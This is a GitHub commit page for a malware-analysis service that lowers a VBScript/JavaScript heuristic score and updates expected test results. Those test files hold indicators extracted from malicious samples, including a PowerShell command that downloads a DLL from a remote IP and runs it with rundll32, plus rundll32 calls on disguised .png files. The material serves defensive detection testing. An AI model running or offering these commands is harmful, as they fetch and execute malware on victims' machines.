Skip to content

Commit

Permalink
Merge pull request #575 from CybercentreCanada/update/vbs-tag
Browse files Browse the repository at this point in the history
Use post-process actions to resubmit to dynamic, not a high score
  • Loading branch information
cccs-kevin committed Aug 16, 2023
2 parents b91a9d0 + 97bd99a commit e717ac0
Show file tree
Hide file tree
Showing 9 changed files with 116 additions and 23 deletions.
1 change: 1 addition & 0 deletions jsjaws.py
Original file line number Diff line number Diff line change
Expand Up @@ -2024,6 +2024,7 @@ def _is_vb_and_js_scripts(self, scripts: ResultSet[PageElement], request: Servic
if vb_and_js_scripts:
heur = Heuristic(12)
vb_and_js_section = ResultTextSection(heur.name, heuristic=heur, parent=request.result, body=heur.description)
vb_and_js_section.add_tag("file.behavior", heur.name)

# We want to extract all VBScripts IFF there are both JavaScript and VBScript scripts in the file
for script in scripts:
Expand Down
2 changes: 1 addition & 1 deletion service_manifest.yml
Original file line number Diff line number Diff line change
Expand Up @@ -194,7 +194,7 @@ heuristics:

- heur_id: 12
name: Visual Basic and JavaScript
score: 500
score: 1
filetype: '.*'
description: Sample uses a combination of both Visual Basic and JavaScript

Expand Down
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"extra": {
"drop_file": false,
"score": 1632,
"score": 1133,
"sections": [
{
"auto_collapse": false,
Expand All @@ -11,7 +11,13 @@
"classification": "TLP:C",
"depth": 0,
"heuristic": null,
"tags": {},
"tags": {
"file": {
"behavior": [
"Visual Basic and JavaScript"
]
}
},
"title_text": "Visual Basic and JavaScript",
"zeroize_on_tag_safe": false
},
Expand All @@ -31,7 +37,7 @@
"attack_ids": [],
"frequency": 1,
"heur_id": 12,
"score": 500,
"score": 1,
"score_map": {},
"signatures": {
"suspicious_url_found": 1
Expand Down Expand Up @@ -410,6 +416,13 @@
"value": "taskkill /f /im mshta.exe"
}
],
"file.behavior": [
{
"heur_id": null,
"signatures": [],
"value": "Visual Basic and JavaScript"
}
],
"file.string.extracted": [
{
"heur_id": 2,
Expand Down
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"extra": {
"drop_file": false,
"score": 1402,
"score": 903,
"sections": [
{
"auto_collapse": false,
Expand Down Expand Up @@ -33,11 +33,17 @@
"attack_ids": [],
"frequency": 1,
"heur_id": 12,
"score": 500,
"score": 1,
"score_map": {},
"signatures": {}
},
"tags": {},
"tags": {
"file": {
"behavior": [
"Visual Basic and JavaScript"
]
}
},
"title_text": "Visual Basic and JavaScript",
"zeroize_on_tag_safe": false
},
Expand Down Expand Up @@ -405,6 +411,13 @@
"value": "cmd.exe cmd /c start /min powershell IWR -uri http://165.22.160.25/w9edb/160223 -o %temp%\\adeP1F.dll;start-process rundll32 %temp%\\adeP1F.dll N115"
}
],
"file.behavior": [
{
"heur_id": 12,
"signatures": [],
"value": "Visual Basic and JavaScript"
}
],
"file.string.extracted": [
{
"heur_id": 2,
Expand Down
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"extra": {
"drop_file": false,
"score": 871,
"score": 372,
"sections": [
{
"auto_collapse": false,
Expand All @@ -14,11 +14,17 @@
"attack_ids": [],
"frequency": 1,
"heur_id": 12,
"score": 500,
"score": 1,
"score_map": {},
"signatures": {}
},
"tags": {},
"tags": {
"file": {
"behavior": [
"Visual Basic and JavaScript"
]
}
},
"title_text": "Visual Basic and JavaScript",
"zeroize_on_tag_safe": false
},
Expand Down Expand Up @@ -229,6 +235,13 @@
"signatures": [],
"value": "flasks/data.txt"
}
],
"file.behavior": [
{
"heur_id": 12,
"signatures": [],
"value": "Visual Basic and JavaScript"
}
]
},
"temp_submission_data": {}
Expand Down
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"extra": {
"drop_file": false,
"score": 750,
"score": 251,
"sections": [
{
"auto_collapse": false,
Expand All @@ -14,11 +14,17 @@
"attack_ids": [],
"frequency": 1,
"heur_id": 12,
"score": 500,
"score": 1,
"score_map": {},
"signatures": {}
},
"tags": {},
"tags": {
"file": {
"behavior": [
"Visual Basic and JavaScript"
]
}
},
"title_text": "Visual Basic and JavaScript",
"zeroize_on_tag_safe": false
},
Expand Down Expand Up @@ -74,7 +80,15 @@
]
}
],
"tags": {},
"tags": {
"file.behavior": [
{
"heur_id": 12,
"signatures": [],
"value": "Visual Basic and JavaScript"
}
]
},
"temp_submission_data": {}
}
}
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"extra": {
"drop_file": false,
"score": 1632,
"score": 1133,
"sections": [
{
"auto_collapse": false,
Expand All @@ -11,7 +11,13 @@
"classification": "TLP:C",
"depth": 0,
"heuristic": null,
"tags": {},
"tags": {
"file": {
"behavior": [
"Visual Basic and JavaScript"
]
}
},
"title_text": "Visual Basic and JavaScript",
"zeroize_on_tag_safe": false
},
Expand All @@ -31,7 +37,7 @@
"attack_ids": [],
"frequency": 1,
"heur_id": 12,
"score": 500,
"score": 1,
"score_map": {},
"signatures": {
"suspicious_url_found": 1
Expand Down Expand Up @@ -404,6 +410,13 @@
"value": "rundll32 C:\\ProgramData\\index1.png,Wind "
}
],
"file.behavior": [
{
"heur_id": null,
"signatures": [],
"value": "Visual Basic and JavaScript"
}
],
"file.string.extracted": [
{
"heur_id": 2,
Expand Down
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"extra": {
"drop_file": false,
"score": 1632,
"score": 1133,
"sections": [
{
"auto_collapse": false,
Expand All @@ -11,7 +11,13 @@
"classification": "TLP:C",
"depth": 0,
"heuristic": null,
"tags": {},
"tags": {
"file": {
"behavior": [
"Visual Basic and JavaScript"
]
}
},
"title_text": "Visual Basic and JavaScript",
"zeroize_on_tag_safe": false
},
Expand All @@ -31,7 +37,7 @@
"attack_ids": [],
"frequency": 1,
"heur_id": 12,
"score": 500,
"score": 1,
"score_map": {},
"signatures": {
"suspicious_url_found": 1
Expand Down Expand Up @@ -404,6 +410,13 @@
"value": "rundll32 C:\\ProgramData\\121.png,Wind "
}
],
"file.behavior": [
{
"heur_id": null,
"signatures": [],
"value": "Visual Basic and JavaScript"
}
],
"file.string.extracted": [
{
"heur_id": 2,
Expand Down
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"extra": {
"drop_file": false,
"score": 1632,
"score": 1133,
"sections": [
{
"auto_collapse": false,
Expand All @@ -11,7 +11,13 @@
"classification": "TLP:C",
"depth": 0,
"heuristic": null,
"tags": {},
"tags": {
"file": {
"behavior": [
"Visual Basic and JavaScript"
]
}
},
"title_text": "Visual Basic and JavaScript",
"zeroize_on_tag_safe": false
},
Expand All @@ -31,7 +37,7 @@
"attack_ids": [],
"frequency": 1,
"heur_id": 12,
"score": 500,
"score": 1,
"score_map": {},
"signatures": {
"suspicious_url_found": 1
Expand Down Expand Up @@ -410,6 +416,13 @@
"value": "taskkill /f /im mshta.exe"
}
],
"file.behavior": [
{
"heur_id": null,
"signatures": [],
"value": "Visual Basic and JavaScript"
}
],
"file.string.extracted": [
{
"heur_id": 2,
Expand Down

0 comments on commit e717ac0

Please sign in to comment.